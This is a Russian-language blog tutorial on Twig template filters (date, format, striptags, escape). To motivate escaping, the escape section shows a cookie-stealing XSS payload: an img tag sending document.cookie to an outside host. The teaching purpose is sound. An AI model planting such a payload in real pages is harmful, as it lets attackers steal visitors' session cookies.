<MyRusakov.ru />

Создание движка на PHP и MySQL 2.0

Создание движка на PHP и MySQL 2.0

Видеокурс "Создание движка на PHP и MySQL 2.0" научит Вас создавать профессиональные движки для сайтов на PHP и MySQL с использованием ООП и паттерна MVC.

В курсе разобрана вся теория по структуре движка: как всё устроено, какие должны быть объекты, какая у них иерархия и как они взаимодействуют между собой.

В практической части будет создан движок с чистого листа. Будет создано ядро, все адаптеры, все вспомогательные классы, а также классы для работы с объектами базы данных. И чтобы курс был максимально полезным, будет создан движок для сайта MyRusakov.ru.

Подробнее
Подписка

Подписавшись по E-mail, Вы будете получать уведомления о новых статьях.

Подписка Подписаться

Добавляйтесь ко мне в друзья ВКонтакте! Отзывы о сайте и обо мне оставляйте в моей группе.

Мой аккаунт Мой аккаунт Моя группа
Опрос

Каким движком Вы предпочитаете пользоваться?

Фильтры в Twig

Фильтры в Twig

В предыдущих статьях о PHP шаблонизаторе Twig, мы рассмотрели такие его особенности как, наследование шаблонов, циклы, условие, кеширование. В данной статье мы рассмотрим еще более продвинутые средства как, фильтры Twig.

Фильтры

С помощью данного средства шаблонизатора Twig, мы можем определять какие данные, как информация в конечном итоге будет передана в шаблон и в каком формате эта информация будет представлена в шаблоне. Далее мы рассмотрим наиболее часто используемые фильтры. При необходимости, если подходящего фильтра вы не найдете, то с полным списком всех доступных фильтров вы можете ознакомиться на странице официальной документации Twig.

Date и date_modify

Twig фильтр date форматирует дату в соответствии с заданным форматом. По выполняемым задачам данный фильтр похож на PHP функцию date, за тем лишь исключением, что его синтаксис немного, в лучшую сторону, отличается. Вот посмотрите сами:

  <td>{{ product.date_register|date("d/m/Y") }}</td>

В данном примере, мы будем отображать дату в формате день/месяц/год. Однако, порой бывает необходимо дополнительно изменить дату, модифицировать ее. Для этих целей отлично подойдет другой Twig фильтр - date_modify. Допустим, нам необходимо добавить несколько дней к дате, для этого мы делаем следующее:

  <td>{{ product.date_register|date_modify("+3 day")|date("m/d/Y") }}</td>

К отображаемой дате мы добавили 3 дня. Обратите внимание, как работают фильтры – они вызываются не через оператор точку, а через оператор |, по конвейеру.

Format

Преобразует строку, заменяя все заполнители (placeholder’ы) , начинающиеся со знака % на подставляемые значения:

  <td>{{ "Описание товара: %s" | format(product.description) }}</td>

Striptags

Данный фильтр удаляет все HTML-теги и заменяет находящиеся рядом пробелы одним пробелом:

  {{ <alert>alert("Привет, меня зовут Толик. Я хакер")</alert> | striptags }}

Escape

Один из самых важных фильтров Twig. Он фильтрует строку для безопасного отображения. Т.е. через него нужно пропускать те данные, которые будут формироваться из ненадежных источников, например из ввода пользователя. Реальный пример: пользователь пишет комментарий на сайте и вставляет в код сообщения следующую ссылку:

  <img src = "http://сайт.com/get.php?cookie=encodeURI(document.cookie)">

Пользователю достаточно лишь открыть страницу, браузер загрузит изображение, добавив к нему закодированную строку с cookie пользователя. Таким образом, если сайт работает с конфиденциальными данными, то они могут быть украдены. Поэтому, чтобы этого не произошло данные вводимые пользователем при отображении на сайте в обязательном порядке нужно фильтровать.

Twig фильтр escape работает в соответствии с так называемыми стратегиями. Т.е. набором определенных правил, по которым происходит фильтрация. По умолчанию, данный фильтр работает с HTML стратегией:

  {{ products.description | escape }}

  // то же самое, но с явным указанием стратегии 

  {{ products.description | escape('html') }}

Для этого фильтра также доступны следующие аргументы, обозначающие те или иные правила экранирования управляющих последовательностей: js, CSS, URL, html_attr.

Таким образом, шаблонизатор Twig, оказывает неоценимую помощь в создании шаблонов сайтов, предоставляя для этого развитые средства. Он особенно полезен при использовании в командной разработке, так как позволяет комфортно работать как программистам, так и верстальщикам. А как организовать работу по созданию сайтов вы можете узнать из моего видеокурса “Своя Web-студия за 55 дней”.

Копирование материалов разрешается только с указанием автора (Михаил Русаков) и индексируемой прямой ссылкой на сайт (http://myrusakov.ru)!

Добавляйтесь ко мне в друзья ВКонтакте: http://vk.com/myrusakov.
Если Вы хотите дать оценку мне и моей работе, то напишите её в моей группе: http://vk.com/rusakovmy.

Если Вы не хотите пропустить новые материалы на сайте,
то Вы можете подписаться на обновления: Подписаться на обновления

Если у Вас остались какие-либо вопросы, либо у Вас есть желание высказаться по поводу этой статьи, то Вы можете оставить свой комментарий внизу страницы.

Порекомендуйте эту статью друзьям:

Если Вам понравился сайт, то разместите ссылку на него (у себя на сайте, на форуме, в контакте):

  1. Кнопка:

    Она выглядит вот так: Как создать свой сайт

  2. Текстовая ссылка:

    Она выглядит вот так: Как создать свой сайт

  3. BB-код ссылки для форумов (например, можете поставить её в подписи):

Комментарии (0):

Для добавления комментариев надо войти в систему.
Если Вы ещё не зарегистрированы на сайте, то сначала зарегистрируйтесь.